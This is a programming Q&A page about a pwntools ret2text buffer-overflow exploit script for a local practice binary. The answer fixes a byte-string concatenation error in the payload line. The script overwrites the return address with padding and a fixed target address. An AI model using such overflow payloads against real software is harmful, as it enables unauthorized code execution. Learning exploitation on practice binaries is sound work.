0

I am trying to run the following exploit but i am getting the error mentioned above.

#!/usr/bin/env python

from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * 108 + "junk" + p32(target))
sh.interactive()

I expected this to run correctly but i am getting the error in sh.sendline

1 Answer 1

0

The argument to sh.sendline() must be a byte string, not a text string. p32() returns a byte string, but you're trying to concatenate text strings to it. Make them byte strings as well.

sh.sendline(b'A' * 108 + b"junk" + p32(target))
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.